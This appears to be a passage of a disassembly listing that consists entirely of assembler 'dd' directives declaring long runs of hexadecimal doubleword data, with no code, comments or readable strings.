dd 0C0D7CE5Ch, 682B4E37h, 46E3644h, 0F18D0B6h, 1C270A24h
dd 0DC18A110h, 0BEE7085Ah, 0F3200782h, 0FE4C14C0h, 0C3CF0619h
dd 99070530h, 50092B6Dh, 30F33400h, 144CA1D7h, 786869BAh
dd 8B580A58h, 898F1B1Ch, 9A50100Fh, 0D1509499h, 29604210h
dd 4A108A7h, 1AFE7033h, 813198F0h, 9EF6406h, 882B0B2Bh
dd 8B433F83h, 13082A30h, 0E2348B0Ch, 0B04C8616h, 40705318h
dd 8150A578h, 0D2E94F98h, 2286E046h, 35173305h, 700EF590h
dd 8A64A195h, 0F0F8318Eh, 0FC09D07Ah, 0EB040BADh, 0D1318F3Fh
dd 48B0EA10h, 0A600AFB4h, 0AA16210Dh, 4D238A0h, 0FFCCF4A2h
dd 3B81202Eh, 0B9F9044Dh, 41241555h, 18529A5Dh, 69C23898h
dd 1892ECB3h, 0DCA21F18h, 3F8F49h, 5ECF911Ah, 1E750194h
dd 3278F112h, 6E3C9C4Fh, 0A4207299h, 0FC54726h, 3BC1CDA4h
dd 6951CA66h, 59301AE8h, 63F448C0h, 7B2F0077h, 20A6B8Eh
dd 0C74D717h, 0A22C1C74h, 8B003A7Dh, 0F2509DB1h, 2B9B2625h
dd 5782812Ch, 0D0810587h, 10C1B97Ah, 94B3BE91h, 4899A025h
dd 0E0B809BDh, 1200E2EEh, 0E84519D3h, 1B0D49h, 169A9724h
dd 62F37ED1h, 9DD42D00h, 0A2B91A99h, 5240026Eh, 0BA043226h
dd 116F90A0h, 0AA50336Ah, 5F33228Ch, 0E289E9E8h, 0DB346057h
dd 0AC543047h, 3F678689h, 1691A307h, 789C185h, 19C0579Ch
dd 0A8175440h, 18F9B0B8h, 11624773h, 88A0FA0Ch, 0A5719C9Dh
dd 3F958D00h, 61308F0Fh, 279E0607h, 68824740h, 80C57081h
dd 0A0891108h, 8DB80Ah, 8F65B08Ah, 5C5A6EF5h, 78559112h
dd 0A3010406h, 0CE9D0321h, 0E89A25F0h, 0A7EA1CEh, 85ACBE50h
dd 9094A980h, 0DA2E00F8h, 8DC13EAAh, 80029C66h, 17BDA799h
dd 74252528h, 0A0B001A8h, 0E02785ABh, 0DB5CB096h, 973854DDh
dd 9F9DC1C0h, 52B6EA16h, 6B8FB833h, 80A1C870h, 8A6F2D76h
dd 10032CDBh, 0D0BE8670h, 9B7F885Fh, 4B301AEh, 278FC90Ch
dd 0BEE0BD6Fh, 51586148h, 0A4461B92h, 9F48310h, 7F3DC5D0h
dd 6377A180h, 53789511h, 0A63F1D1Dh, 7589C8B0h, 0D41B0E81h
dd 7A80E2E8h, 0B33C2EA3h, 863461C4h, 149D1307h, 0E6C092FEh
dd 0BECE9082h, 8A08B808h, 843915F5h, 8872580Eh, 3318BD82h
dd 3D8A4A8h, 45B1F2D1h, 6EC98A0h, 9F448CAEh, 0C94610D8h
dd 0C9B26A4h, 502F8E43h, 0C2F21C81h, 234B47E8h, 0AFA3304Eh
dd 23882944h, 9BD90614h, 228D204Ch, 0C0CC4B17h, 0C0DBF199h
dd 4ADEBD29h, 0AA0151A8h, 9ACC2D1Bh, 0E82019B1h, 0D41A165Eh
dd 0ED8C3017h, 0E30986D1h, 11D2B3ABh, 29908178h, 0C9158172h
dd 3C418BB6h, 8820C11Ch, 58D7541Ah, 0FFB92422h, 0E79B0AB0h
dd 53A44048h, 0F0A09042h, 241D2C0Ah, 0EA4094FFh, 0AFE3F308h
dd 905C308Dh, 0A70B4BB0h, 9C80D600h, 6D509FFAh, 0ACD0008Ah
dd 47CCFD65h, 1207E974h, 0DF920851h, 2036FCD0h, 911F046h
dd 0EE171BCCh, 80FFB587h, 0BFD2D112h, 753040FAh, 8CEE390Fh
dd 0A85F1E87h, 58012005h, 4188C044h, 67D8E257h, 3DB271CAh
dd 0B0801977h, 0B547D411h, 0F267C50Eh, 48B35158h, 1FF0C3F7h
dd 7EB18811h, 0EC99B306h, 0C70181A3h, 730DBFBAh, 3E6B450h
dd 0F4A14183h, 6C8AE0B5h, 5E5710C0h, 0CCCC74Ch, 0C8EEE3Fh
dd 773E4041h, 70850643h, 100633h, 0C60EC36Ah, 714F3682h
dd 0AFB9C3Eh, 98D9A974h, 0DDA43E00h, 0B8DA41h, 3F34E21Bh
dd 8D0E82DCh, 4266C703h, 0ED5149AAh, 9818843h, 0A9E6F82Bh
dd 3377005Ah, 92BEAEDAh, 891E7414h, 70800CC9h, 0DBEBA375h
dd 1DBC0090h, 711210B2h, 0CB39B77Eh, 60DC0420h, 0E847FF13h
dd 0FEC2F8Eh, 0D9007111h, 0CBC9871Bh, 646649h, 0CCB6F56Ah
dd 1A8CB430h, 47299190h, 31009488h, 89DEE572h, 369B0006h
dd 7595B590h, 30041C8h, 64BED0C1h, 78D77Eh, 5C212511h
dd 0EEF9F1C4h, 0F402C672h, 0A8C98F30h, 37F4A0FBh, 43A291h
dd 2C4FD10Bh, 8DFCF568h, 752180E5h, 0B41A491h, 0B47C00ECh
dd 6F40F303h, 1A0662EDh, 9447FEEh, 58CC03D0h, 0A32FEF90h
dd 47C8FC0h, 5448E9C0h, 0BD872h, 21F4F290h, 3682D6Fh, 8CC1A800h
dd 4ABF1D9Fh, 7750688h, 0B8E60802h, 93063900h, 9A996CCCh
dd 646D4856h, 9E38D03Ch, 61196098h, 4E008BD6h, 0B09F734Bh
dd 59DF15h, 7B07BC6Eh, 0EF6F5AEAh, 0C05E7800h, 82B2F2A2h
dd 67360191h, 0B19E8EFCh, 495E283h, 0F5860400h, 2982BBh
dd 93B7A653h, 0BC4A8CA9h, 730A4E00h, 57B6A0E0h, 0CAA8015Ch
dd 9C962A2Dh, 0F82890B3h, 9F48418Fh, 0C976D004h, 4883B404h
dd 9F994234h, 51CCE427h, 40974450h, 64B10444h, 409879EDh
dd 0CCF6F0C6h, 0D0FE008Eh, 6BD778F3h, 0C00D65Eh, 46059537h
dd 0AD8C40h, 308A7C86h, 4067F3Eh, 2573ED07h, 0E810B8D2h
dd 0C076A5h, 1D6A055Fh, 0C7E0402Fh, 6101827Fh, 0E644EB2Bh
dd 22DCBD38h, 0DAA13E3Eh, 50D2C300h, 0AF966519h, 458D5E03h
dd 0D876D6BAh, 0C940E0BDh, 0B600C496h, 725D4EB9h, 0AEADD200h
dd 4ABB43B6h, 0DADD008Ch, 60208751h, 2401CCB0h, 693A3E66h
dd 0C8D40228h, 0CC8E5042h, 0DBE4A1h, 0B745268Fh, 69479E96h
dd 30B00400h, 6D66D43Dh, 7C923F6Bh, 1E5BDD80h, 0DC543C12h
dd 0EDCCB203h, 0D09FD94Ah, 123E1F39h, 1FB49E26h, 0C40CBE10h
dd 0D528E12Fh, 4AECA00h, 5D0CBF1h, 5B821396h, 1CD91C48h
dd 77F60061h, 2D08F5F3h, 84439F00h, 0E1E8E5FDh, 0A3C10080h
dd 0F12C49B1h, 170027FAh, 0AED4FE35h, 0DC0C61Ch, 0C23A851Fh
dd 0FB6ECC30h
dd 2F035B1Ah, 55C90042h, 3F29908h, 482BE8DAh, 72C838CBh
dd 0A63E2F2Ah, 0D97A0049h, 0AB75D546h, 0E0BE0E09h, 0C700D0DBh
dd 32248E47h, 0F0986C00h, 1B2F7F21h, 35DC1D45h, 5E134025h
dd 607B193Bh, 0A2B7160Ah, 0E309FCABh, 539D0075h, 47119Ah
dd 0EA62E409h, 0F3DF79A4h, 0B107C06h, 0ECEE3638h, 0B8D00031h
dd 863B7B0Ch, 3F002124h, 523870E2h, 392FCAB3h, 76F7ED63h
dd 4F590739h, 709B73A6h, 0B7767930h, 89BEB800h, 55AD7BA5h
dd 249673F1h, 0D8DBC6h, 0A49B2D8Dh, 0E50049F6h, 0F47AA7ABh
dd 241E1Dh, 0EBC9CDC6h, 64F52B58h, 8B00B278h, 737E3D86h
dd 3BFA71h, 6002202Ah, 0D398119Dh, 4CF7C12h, 30486800h
dd 193B8BAh, 0C9161E3Dh, 705F28F1h, 0E82818C3h, 0EE008C1Fh
dd 378AFA86h, 0B78806h, 4F9793BFh, 82B02911h, 619475Ch
dd 8DBBEC16h, 4A45FC10h, 43BC38h, 0BC2472ADh, 13EA811Ah
dd 31DE06h, 61B9E628h, 0A500F9F4h, 8F53332Ah, 0ACA7EAh
dd 79C40686h, 1643011Dh, 3FA49900h, 0C352BB46h, 77FE01F0h
dd 42265466h, 0ED13E833h, 9C00AB75h, 7AFDA4D4h, 0A9479Dh
dd 8BE3B5D3h, 0A7391C54h, 3B82A007h, 0CB90F6F5h, 1421DA3Fh
dd 0A43557B1h, 9EE71C00h, 0D940256Dh, 23779403h, 0B16B3Bh
dd 24C38F39h, 971C6591h, 0E8DA7330h, 0E59069Eh, 9238B026h
dd 0E4259FE0h, 0BC0012CDh, 864EC154h, 7CE6066h, 5E895682h
dd 40285750h, 0CABD97A0h, 0E05B2000h, 737652Eh, 0E15A00A5h
dd 0BBDBB54Dh, 6701D8FEh, 0AF40DD2Fh, 74C478CAh, 0DC571684h
dd 0B6FA047Bh, 406C8769h, 0FFE8F7F9h, 6200A490h, 3A1441F4h
dd 0F4462D36h, 8DA500AAh, 0BF748965h, 0E324439Ch, 0CC0030FEh
dd 0E48F2813h, 0FDCE09ADh, 24878C36h, 0B07C37BEh, 0D5534E4Dh
dd 24AC8B01h, 0D3FDDEEBh, 354B3881h, 8738E94Ah, 7B7D8B11h
dd 3A4E8FD1h, 397C8840h, 0E04D00B3h, 0B9275C7Fh, 6D008997h
dd 3E409309h, 2478878Fh, 1242F0Ch, 478B6B91h, 81E221ACh
dd 0FE076DC8h, 442116AEh, 5C88E0h, 0FBD4FCA0h, 0DB7D8EE7h
dd 1D9C090Fh, 0FE598011h, 0C6DA149h, 4D04553Bh, 6E3B27C8h
dd 22148F46h, 0D4FB40A7h, 138F2058h, 83D30Eh, 8118E4C2h
dd 560CFCCBh, 0D0517AC8h, 0DE8B076Eh, 1024B67h, 89E01E3Eh
dd 0A26FEFA9h, 0C07F80BCh, 3D3A03h, 25411B23h, 0A847C9B2h
dd 30805C58h, 51401112h, 62DB0014h, 9515D15Dh, 0F09007ACh
dd 0DC00197Dh, 0FC46F503h, 0D52F3h, 0BB67735Bh, 92527B7h
dd 0B9075970h, 0BAC5EF8Ch, 13B12EE0h, 0BB1C0452h, 0C09E43AAh
dd 7AE1C654h, 20F20F00h, 0A832F448h, 0AEDE0060h, 69805A55h
dd 0E300FD9Eh, 0EC866883h, 4CBDE46Ch, 0E000B05h, 0A3EEE74Eh
dd 6A4CF00Fh, 6CFE0FB9h, 0C0B340F1h, 89FF24h, 0DD4E513Ch
dd 5C258359h, 7007A37Fh, 78A93F45h, 0DFA5C830h, 5DD70021h
dd 16097743h, 20019F37h, 12070CAEh, 0DC80DFAAh, 7614D658h
dd 2301996Dh, 985E0F89h, 0AFC817CEh, 1F70B020h, 40346237h
dd 0BEAB3D63h, 9400C1A0h, 0C4B31E69h, 0A57715h, 42DE4901h
dd 0A75D17Dh, 740E2C1Ch, 76945080h, 7BB1F58h, 0D248BCE6h
dd 9672424Ch, 0F4688161h, 9400DF78h, 2F07A53Bh, 89481Eh
dd 207E32FDh, 0FFBB72A6h, 0B694AD00h, 925B4EEBh, 27F00A9h
dd 3E4B76Fh, 6E007590h, 0D2DABD8Ah, 597C37h, 221A29A5h
dd 0E4CF7D7h, 4E663F00h, 5F336550h, 904D1D5Dh, 7391807Ch
dd 25FF6CEAh, 0C9001071h, 9CF3C872h, 0E2954647h, 0B1FC68h
dd 0F2F766CDh, 93EF506h, 4A6D670Ch, 0C128C9h, 1C3357A6h
dd 69A77E40h, 72345300h, 145A6322h, 0F4700CCh, 0F3CE1B16h
dd 5100DBE2h, 949375EAh, 1CB67BAh, 6C2D6B47h, 0F0908A79h
dd 0D3006096h, 9F4CAB99h, 48525ECh, 7DEF8270h, 5ADCC02Ah
dd 9B2CC5FCh, 0C89EECC4h, 13473000h, 743B975Ch, 0E6AB24E9h
dd 0B2BE00E0h, 0A78760E0h, 7F02B798h, 6FD9EEAEh, 275C6882h
dd 47150F98h, 38612CB0h, 302D2667h, 0D03F978h, 87D680A7h
dd 0FAB3D0FEh, 58511334h, 40F802A5h, 0A0404FF6h, 2400C7BDh
dd 3CC566D5h, 705057h, 148E0D1Bh, 1EFDA164h, 0A49AE802h
dd 0C0324373h, 0F537DCh, 2D46C5ECh, 0D0978A5Ah, 1AB04290h
dd 32920D16h, 0DEB89001h, 0F875B96Ah, 623BBCCh, 8367CB21h
dd 4F00C06Ch, 43B53ABAh, 0C9F2EAh, 0C83533A3h, 0B861D974h
dd 4B10CC00h, 4AE43CFCh, 0E0D80008h, 0B2FE813Ah, 0D575999Ah
dd 737E53Fh, 0D81B61A0h, 40C4094Eh, 8A56BCh, 0D1BB798Ch
dd 972AFAF2h, 9E004098h, 1D4611B3h, 32EC0E3h, 32AE6342h
dd 991D741Fh, 0E9C2B58Ah, 80B07D59h, 684C7CD4h, 40C25C9Ah
dd 28F53019h, 0B1BCDCFBh, 696F8D01h, 0B76EF95Ah, 0E85B3080h
dd 0AA43A308h, 52A04B00h, 7C71F2E0h, 215F00D7h, 3DD84163h
dd 7A00D9DEh, 19A06E88h, 67E7F8h, 5F8D2656h, 0EB51CD0Dh
dd 0F5FE3600h, 85ECAFCh, 7E407C8h, 0E0A01049h, 5935DE5Dh
dd 2FA11607h, 0DA604E0Dh, 0ECB83BEDh, 0AD7677h, 73803633h
dd 53E8BCC6h, 390BF81Dh, 2428CCBCh, 680E4C2Bh, 4F570095h
dd 39829F34h, 3A025B37h, 77EA18CBh, 6815C4C0h, 0E0A1ED30h
dd 8A5474h, 8BD33A21h, 26B6489Ch, 0EE6C7500h, 731A83DDh
dd 0A77D05E5h, 5EF8F7C0h, 0CA1C80ACh, 0C2725CB3h, 0ED8EC509h
dd 3958002Eh, 30207B59h, 0D102C92h, 0CE26C250h, 0F5043891h
dd 0C3C04DFFh, 160A5CA6h, 677F9F3h, 0C09757A1h, 79B01C00h
dd 2E9CDA14h, 0EBEE0067h, 3EAD7396h, 0CF006D06h, 0E0A1D50Ah
dd 6C4B18h, 8C690D46h, 0D8A9BF75h, 4F6EAB0Eh, 0E500B79Bh
dd 0C1028B6Ch, 0C7CC008Dh, 52DA466Dh, 31005F8Ah, 79A0143Fh
dd 745B55E1h, 9120072h, 1964B0A9h, 840043D2h, 0A3788EAFh
dd 0D942FAh, 1329BDF4h, 0BFFE552Eh, 9C3897F2h, 483B8E36h
dd 5E9E003Dh, 1E79819h, 127C3B6h, 0E4A958D5h, 263DD37Ah
dd 9EED0549h, 0F000602Ah, 0A1D1C6D8h, 7F6F2E9Ah, 0D4C80418h
dd 0EE7C83D0h, 0F04CC0BCh, 50E26D7Dh, 1314E402h, 80D0DF72h
dd 0B67871ECh, 899CA08Bh, 247601B0h, 2BEADB06h, 0CAD4425Eh
dd 0DE9C6860h, 0D50B3FF8h, 840AECFCh, 58809FFBh, 18108A53h
dd 6092CE9Dh, 9C00591Dh, 0F011BED7h, 0EB4AB4h, 0A55B9BC8h
dd 0F7D6F03h, 0B3008290h, 0E5F75632h, 19884ACFh, 88346A3Ah
dd 5DEF08B0h, 4A00C4BCh, 0B895FCBEh, 710CE212h, 70FB870Ah
dd 1744060Dh, 0D03378CDh, 2B400EEAh, 0BE590C9Dh, 5A28F414h
dd 8118267Eh, 9310F54Ah, 123EC63h, 2F8CCC92h, 20A0A95Eh
dd 51DCB68h, 6BC05D68h, 5AE0B828h, 357D00C9h, 0A546587Bh
dd 6255A113h, 1628E4A8h, 872BFE1Eh, 0BB7F2C0h, 1EDEB259h
dd 0C0FC95F0h, 0B1CB9D6Bh, 4F2C5882h, 0D7006B24h, 8C11BD44h
dd 2E5E0018h, 2FDB9C17h, 5A022A78h, 8F96C24h, 189C611Dh
dd 17D919F4h, 478CF7AEh, 0E05365E8h, 25C32473h, 91012DE2h
dd 0A6661DAAh, 382CF1D5h, 80542B00h, 0CF8F29E0h, 2F242AF2h
dd 0AB05B9CEh, 84C00C01h, 18FFF16Eh, 100D41F0h, 0EB172ED9h
dd 2C007CE2h, 4506F407h, 1D5B0E1Ah, 0DD603F8Eh, 0C164B1EBh
dd 0C4253200h, 0A9D9B49Ah, 0B9330068h, 0EAFDD3ACh, 789E7F0Ah
dd 77B0B200h, 1CCE188h, 8C267EDFh, 0D4EF35C1h, 30730343h
dd 3E331D00h, 2A479D72h, 8DA200A3h, 0E1DE2CBBh, 0A700FC52h
dd 8E7A8A30h, 503A6865h
dd 0A6DC03h, 36E829D7h, 0F1BF4E7Ch, 4011FB00h, 84833153h
dd 0A30500C5h, 8DEF4782h, 5C006DEDh, 793EE594h, 1F816AEEh
dd 0B2C0CAEAh, 50CEF2A8h, 472A0C00h, 6937C194h, 5D2C0336h
dd 0F659F796h, 0D449EEC0h, 6631DB04h, 0BCE063CCh, 1C96E4C9h
dd 12C6ADBFh, 6C28015Ch, 0ECF40131h, 100F63F7h, 490C5A12h
dd 9A098013h, 0DFEEA1h, 0A7687982h, 0B8FD2EB5h, 0CC983074h
dd 0E87A041Fh, 8AA4CE43h, 63678049h, 0D6821F66h, 641A8352h
dd 6BE8222Ch, 0BC057C35h, 32F18BDAh, 1AB668D0h, 0C33B3FD2h
dd 276CA580h, 9B1092F8h, 2539BB00h, 0FB835508h, 2C3B00AEh
dd 8A6DE66Eh, 0DD3EB691h, 0FA5A8079h, 923EF121h, 0B23B0064h
dd 85327895h, 10580603h, 8C8F008Bh, 0C71927B1h, 246700EEh
dd 1CCA9C56h, 0FAEC0709h, 60DB0E00h, 803EF7C3h, 58171FEEh
dd 0FC04BA88h, 87E4859Dh, 8E4A0094h, 0B1F9915h, 0DFC0C129h
dd 132A651Bh, 71DD038Ch, 5194A7Bh, 0A52553E0h, 81E02900h
dd 0F6804BB8h, 9BE300C4h, 8A8CF9D0h, 442CFAC8h, 1600AC20h
dd 6C2B5E67h, 38C918CFh, 25B01123h, 60AD6200h, 3DD1BDCDh
dd 75BA00A8h, 2B260A0Bh, 0FC00A30Dh, 494432Dh, 601DABh
dd 1B99B8C5h, 355D9F83h, 0B22BBB00h, 5F703CEh, 0C348C25Ah
dd 0C805C79Eh, 386B6040h, 3D6C868Fh, 0B9007808h, 0AADEF98Bh
dd 5B1614E3h, 3001BE0Ah, 99E70EAh, 30C7FCE4h, 0F6F0046Eh
dd 0E3E81303h, 0BFB57500h, 51096C6Ah, 0E8BD00C1h, 0D3369498h
dd 0A8006757h, 524E3AF1h, 39103B8h, 809C26F0h, 74A0E7BEh
dd 5800C847h, 6AB4ED53h, 0C114ADh, 255FF90Ah, 8C8E4405h
dd 9A4E7700h, 82E8C2B8h, 0C3D80089h, 87199C6Ah, 79000D99h
dd 0EBD59616h, 1DC21D4Ch, 0C0622971h, 54383A55h, 230146A8h
dd 6B3E277Ch, 0AAD0128Fh, 174300D5h, 0C466E578h, 4500ECAEh
dd 382851A3h, 0DFDAE479h, 0AA700020h, 3E2B7471h, 751E0839h
dd 61D11800h, 0BDB7A0B4h, 0E5130062h, 362FFF11h, 8E00D97Ah
dd 83745658h, 9B0B8Fh, 193B7C8h, 7538F54Fh, 82633209h
dd 67A5832Ah, 66A887Bh, 0D11C00C9h, 5D69D8ECh, 0A50E1622h
dd 23AFCE11h, 0F0C124B6h, 728F6Eh, 9E020A9Fh, 658BB404h
dd 20BC4900h, 0BEDA1381h, 649285h, 77DC1AD7h, 0A07B4CA9h
dd 0D57EBCE0h, 282D8624h, 56D5C58h, 39D7BB0h, 18D918E3h
dd 1B007FB8h, 3CA80986h, 33D90Eh, 0F1766659h, 0D5DB087Ah
dd 75783872h, 9BF57E01h, 0D777B779h, 176E1DCh, 0BB9190AAh
dd 0F4382175h, 803F63Bh, 0B03A8D8Ah, 9487A83h, 0E24DE958h
dd 0D6D85038h, 4A4F8E00h, 5E8B784Eh, 0F4C0007Eh, 3E056EEh
dd 0C20002A6h, 1CEBAFEAh, 5C08DCh, 2A0BDF76h, 65D89627h
dd 8E832B07h, 5FC07F12h, 2336988h, 0CB20BF77h, 0CC881A4Dh
dd 6DF001ECh, 0E53A1835h, 4FB3D0E1h, 0F1136600h, 2EAD97AEh
dd 7CBE00BDh, 1B7DE7BBh, 0B006E26h, 33A5827Ah, 1A9B4EFh
dd 924A538Eh, 0CCD4B8FEh, 8900F7A3h, 3A3B4D37h, 2BC60h
dd 0BA9476AAh, 0DC7D6271h, 0CF8E5A00h, 0DFE80BE3h, 59820055h
dd 20B205A8h, 99EE6322h, 6C389578h, 0D7B601B3h, 8E73DD9Fh
dd 198F140h, 0B62043Fh, 0C7E8F4E1h, 0F21AD178h, 8187101Dh
dd 0F97D7Ah, 0FE9C1121h, 402C7FBCh, 0B8F5A628h, 4598B00h
dd 4EF306C3h, 0F840093h, 347ED50Eh, 660090EBh, 58978925h
dd 0FE20F4h, 1A43CF5Dh, 379FB5Ah, 0DF03C37Dh, 0D059F17Bh
dd 52E2F8BAh, 0AD7D0784h, 3FAF9EDh, 90B8D91Eh, 0AF006720h
dd 55DB8A4Ch, 38D00E06h, 21039EC4h, 2A3CE6E5h, 2BD4F3C8h
dd 0FF009570h, 3AF7C20Ah, 0B82940h, 7F189A5Bh, 4D1A8BADh
dd 0EA9CC300h, 3CA3DFD6h, 0D30A0396h, 0ADB49927h, 0E76A0DE0h
dd 1186D10Eh, 0AA300D2h, 72046509h, 0BBCC01BFh, 0BD83DDC7h
dd 717FF048h, 17A58C00h, 4C949C3Fh, 566B248Fh, 6028E0h
dd 1D632BF8h, 692F35D3h, 0ACE2FB3Fh, 0A10028D1h, 7AE0AB58h
dd 1C16FABDh, 0E4576B7Ch, 0A7176Fh, 0F6D261F7h, 0C8005E1Ah
dd 0DBFAB0C0h, 0B07B9A1Dh, 0F490ECh, 0F5666C90h, 0E2E9A852h
dd 0B515670Ch, 625C80A0h, 0B9C410FAh, 4D806A27h, 48E613h
dd 0EBCF734Ah, 36064104h, 86FD41Eh, 0E7029900h, 0B7398Dh
dd 41AFFAF0h, 0B7347C2h, 0D90E6230h, 0E6B2438Eh, 0D38C005Eh
dd 8606F836h, 0C8008341h, 0B0B71D66h, 6092181Fh, 960B3035h
dd 8000C195h, 0EA5EFE59h, 74FD25h, 16655210h, 88BBDBDCh
dd 0D3EFA900h, 3FE25A3Bh, 0F892041Fh, 0C499823Ch, 37E5C02Ah
dd 0B35898C4h, 3684004Fh, 68437BB4h, 6B8300EAh, 0EED138D2h
dd 770239F9h, 1A5BC8A1h, 935C8110h, 38DC65BCh, 88990012h
dd 325FD6Bh, 0DA0028E5h, 0FF1D56AEh, 2C1CB7h, 920275C6h
dd 0D1D9633Ah, 5FC84260h, 5E0866Ch, 0DA5E7A8Fh, 8EC40797h
dd 23801E17h, 0A034B9Ah, 0F4302560h, 0B0BDB9C7h, 0D39335B6h
dd 1CE40120h, 4E620A44h, 21933F20h, 0EFC08210h, 1B60043Bh
dd 0E36085BAh, 0B2BB0B39h, 1DD303D8h, 347D4A6h, 0BC01092Ah
dd 0D90ADB1Eh, 0B6900AFCh, 8B41C8EEh, 8E0E91Dh, 39DE7061h
dd 76007B11h, 0B84F5B91h, 5700B48Ch, 0B622732Bh, 14A3C7F6h
dd 88019294h, 2AD7510h, 36E70976h, 87B0800Ch, 49834C0Bh
dd 0D5018099h, 0E6C557D4h, 0F66FC5Ah, 79D6123Ah, 53421C0h
dd 1683257h, 6341FD70h, 0BF430A6Dh, 0D2F018A0h, 0A1A9E729h
dd 53F1AFCCh, 0C0884400h, 0B59B28C1h, 0D9F47B0Eh, 8743106h
dd 5392EFE0h, 1EA1FD90h, 0C3984CE4h, 1DDED904h, 0CE33D6EEh
dd 2300217Dh, 2A4258D9h, 3E61A850h, 0A47E9086h, 57DD026Ch
dd 0D6E2E6C0h, 4F12FE19h, 0AD420009h, 306D47ABh, 0F9619D8Bh
dd 0E5003CE9h, 5796E29h, 760B498h, 0FB595216h, 750D90A0h
dd 1712942Dh, 5C410312h, 377A3CABh, 198740C8h, 876F682h
dd 3604341Dh, 0E000737Eh, 0C6957113h, 35F2802h, 938D9B06h
dd 28405292h, 0F48C42D0h, 0F01F0A5Ch, 0E564A84Ah, 0BEC8C03Ah
dd 48006EE0h, 0A288F6EDh, 0DC760DB7h, 2F1A8379h, 0C69B2312h
dd 486023h, 0E6B957D8h, 4486AFBAh, 80058C4h, 0FFE87557h
dd 91907AB4h, 18817920h, 22DB3F45h, 7E95B101h, 22FAD94Bh
dd 174409F8h, 0AE1420C1h, 3815D24h, 33064BF1h, 4918802Fh
dd 0DFD1480Dh, 714D03C7h, 10B8AEECh, 0F1EF2FE0h, 30C45A30h
dd 0ED1FA0h, 0D082EB06h, 0C56ADC75h, 0BCDB61C0h, 65C2250h
dd 5491678Ah, 6C340842h, 91802076h, 1D559550h, 0C39E5635h
dd 0C06E6A48h, 0F38A80F8h, 0BC6C3300h, 15E2D066h, 78C800D4h
dd 9D038F3Fh, 0AF0F3E87h, 80D58870h, 1942C18h, 0A14B06FBh
dd 865633Fh, 3887BE30h, 2945B2Eh, 9CA756F4h, 810978D5h
dd 0F7BA87BFh, 171D3ECh, 3182A54Ch, 60614E32h, 0EA723303h
dd 1E09AB03h, 1862278Ah, 59BABB38h, 85002F2Ah, 0BCA7342Ch
dd 905CDCh, 0A6CE6044h, 879AA1FCh, 71543252h, 0E6FD9408h
dd 408FC42Bh, 1B946622h, 3AEB0329h, 0E51023E9h, 0B788F83Fh
dd 0B180B946h, 1D62530Ah, 2824AC3Dh, 2314688h, 0E78A942Fh
dd 108B3153h, 0F9460A3h, 0B49AD3F3h, 0EE7FDF83h, 0CEBA691Eh
dd 0BFBEABC1h, 0BC50F55Bh, 148C39h, 0A63C9BCAh, 56721285h
dd 4D1F4800h, 1CD304A2h, 0E790002h, 9E2C2971h, 0E5FDC8EAh
dd 0F55980DFh, 761DB0FDh, 82D50797h, 43D4FF6Eh, 2000CB8Ch
dd 74BE9414h, 595C83h
dd 0C235B0EDh, 0B13FA67Eh, 296A0437h, 2076FD50h, 0D559C53Ch
dd 0A4B80028h, 54F0C32Bh, 1FD06A03h, 39E48C0Ah, 0A68A96F0h
dd 74C833FDh, 9B008446h, 606AE5EFh, 3500FBD2h, 0D6D76305h
dd 64964AF3h, 8255997Fh, 0A4AE2054h, 51A2D461h, 0A8A05084h
dd 4A5C65DAh, 0B45C03D7h, 0A369C010h, 562100EBh, 7D56433h
dd 9700BA6Ah, 3F081CB8h, 30EE7BA9h, 0D2990E1h, 3062A63h
dd 0B1BA96EBh, 9A4819h, 0C030E6BDh, 1AD0E658h, 0C0C4B191h
dd 27F4A820h, 90000B8Fh, 670F3E30h, 3A71003h, 0ADD8813Ah
dd 4878E3C0h, 9D5D780Ch, 683924h, 5ADD444Bh, 0B280BB97h
dd 30C57F3Ah, 73F3216Fh, 95F80044h, 0AD65EB4Eh, 0D7078EA5h
dd 0CF7A778Ah, 78269670h, 0D06598D0h, 3810A4F1h, 65CCC050h
dd 43C00E40h, 0D5191069h, 64240072h, 13CA08D4h, 0EC3AB225h
dd 5BF1F28h, 38204100h, 342CE7Fh, 3C9D5201h, 0A16433E0h
dd 41605FD0h, 5B10DF44h, 0D7C8A8C7h, 44728980h, 0FB13B18h
dd 7723F3C3h, 842B6987h, 6EA8889Ah, 0CAEAB007h, 0ACD082AFh
dd 14DFAD5Eh, 0A0D7FCE7h, 8CD7BCh, 0C06F0276h, 0AC6ECF17h
dd 7BBA4215h, 0DAD800FCh, 41041C35h, 1848E05Dh, 41253D20h
dd 1D00135Ah, 0F255CF26h, 243A4E81h, 7301662h, 0AAE5199Ch
dd 9D5D1C88h, 0B1180E4Bh, 1E888DE0h, 0BC00C374h, 30B0133h
dd 3C5B77h, 2F818651h, 18907502h, 27DD0D1Eh, 8D847A07h
dd 0DBA395C0h, 0DA06054Fh, 0C1BFBD1Eh, 80FF30EAh, 6231B240h
dd 338C747h, 4F3A1F15h, 1EEA33A1h, 48EA8A00h, 0C9702Bh
dd 54933C90h, 3804E29Dh, 23EB1B0Fh, 0B0C01CB9h, 8E1691AEh
dd 43AB00DCh, 0B6A699B2h, 337F892Fh, 0E764841Ch, 0F447BC07h
dd 0EC833F50h, 0B95C0059h, 0C63C34E3h, 0F500176Fh, 72D6944Eh
dd 161E7DBh, 5BF8C98Eh, 80DF8621h, 0CBC0E2C1h, 0B04E9Fh
dd 90D661AAh, 2001060Dh, 7451991Fh, 5C1E3540h, 5258A8Eh
dd 0A4B9A7E3h, 0E8AA05C2h, 37EEC021h, 80C05C90h, 7148779Dh
dd 25B23FF8h, 0FAF35980h, 0EE9585CBh, 0B43248h, 0A01E0C4Eh
dd 677EC6Ah, 0BE7C4883h, 8C0316E6h, 0BF33518Bh, 0F2C00216h
dd 8908F930h, 325A080h, 3D001418h, 48E95B9Bh, 1810AD38h
dd 805A2697h, 9900691Bh, 3F534403h, 12A116h, 0E83B0F5Eh
dd 845C9581h, 198B5400h, 0B8824B2h, 0D2C1C07Fh, 2AC6C2AFh
dd 56C04C50h, 28E3200h, 9395B551h, 72501D10h, 62C280D9h
dd 0BF75BDD8h, 5AE7A202h, 911603h, 9B6C349Dh, 10EB2B00h
dd 0BE27D085h, 20A81507h, 7D0080F3h, 23665D76h, 0E00010CDh
dd 59AEC928h, 60DB5E62h, 0EA718039h, 0B905BB46h, 0F44F1D9h
dd 7819E053h, 43D8CFC0h, 345901D1h, 7DCD8D1Ah, 0F1DC8A2h
dd 0E5E55A40h, 2E24E040h, 96C3038Dh, 86A1336Ah, 55181998h
dd 0A548B500h, 0E92304E7h, 97441C94h, 74680DFh, 4A9DF1D2h
dd 2C3340C0h, 24139h, 1CCB7960h, 0BD1219A2h, 46502D00h
